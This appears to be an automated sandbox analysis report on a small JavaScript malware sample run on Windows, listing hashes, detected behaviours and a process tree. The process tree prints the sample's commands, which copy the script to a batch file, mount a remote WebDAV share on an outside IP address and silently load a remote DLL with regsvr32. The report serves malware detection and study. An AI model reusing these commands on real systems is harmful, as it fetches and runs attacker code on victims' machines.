Analysis
-
max time kernel
126s -
max time network
130s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system -
submitted
08-07-2024 13:27
Static task
static1
Behavioral task
behavioral1
Sample
3051510081283871707.js
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
3051510081283871707.js
Resource
win10v2004-20240704-en
General
-
Target
3051510081283871707.js
-
Size
5KB
-
MD5
738fac756072ee7a1005acda25a51a4e
-
SHA1
1eef910f2f7592c5a91c4a38c8c9ddaeb52888d5
-
SHA256
4053d0a0c9471cc60a843bf856b2cc000f99df79e666453caa119d82fb3b64f0
-
SHA512
b3e55539b8f598772a5070d74f31399e169b33547352922a16520cfb5e078aa6e8fada56f50ec24e9ee692f86264068d51d33cb1251c6582932974261084c758
-
SSDEEP
96:fm8G/xgdlRtN2NNbzsHPDWIFaYLQKkyQB:fK/xOX0NbILWI8ikR
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-661257284-3186977026-4220467887-1000\Control Panel\International\Geo\Nation wscript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 436 wrote to memory of 3012 436 wscript.exe 89 PID 436 wrote to memory of 3012 436 wscript.exe 89 PID 3012 wrote to memory of 2884 3012 cmd.exe 92 PID 3012 wrote to memory of 2884 3012 cmd.exe 92 PID 3012 wrote to memory of 3304 3012 cmd.exe 93 PID 3012 wrote to memory of 3304 3012 cmd.exe 93
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\3051510081283871707.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:436 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\3051510081283871707.js" "C:\Users\Admin\\cfvluv.bat" && "C:\Users\Admin\\cfvluv.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Windows\system32\net.exenet use \\45.9.74.13@8888\DavWWWRoot\3⤵PID:2884
-
-
C:\Windows\system32\regsvr32.exeregsvr32 /s \\45.9.74.13@8888\DavWWWRoot\973.dll3⤵PID:3304
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4232,i,4018838247141480194,10874272319406041522,262144 --variations-seed-version --mojo-platform-channel-handle=4288 /prefetch:81⤵PID:1640
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5KB
MD5738fac756072ee7a1005acda25a51a4e
SHA11eef910f2f7592c5a91c4a38c8c9ddaeb52888d5
SHA2564053d0a0c9471cc60a843bf856b2cc000f99df79e666453caa119d82fb3b64f0
SHA512b3e55539b8f598772a5070d74f31399e169b33547352922a16520cfb5e078aa6e8fada56f50ec24e9ee692f86264068d51d33cb1251c6582932974261084c758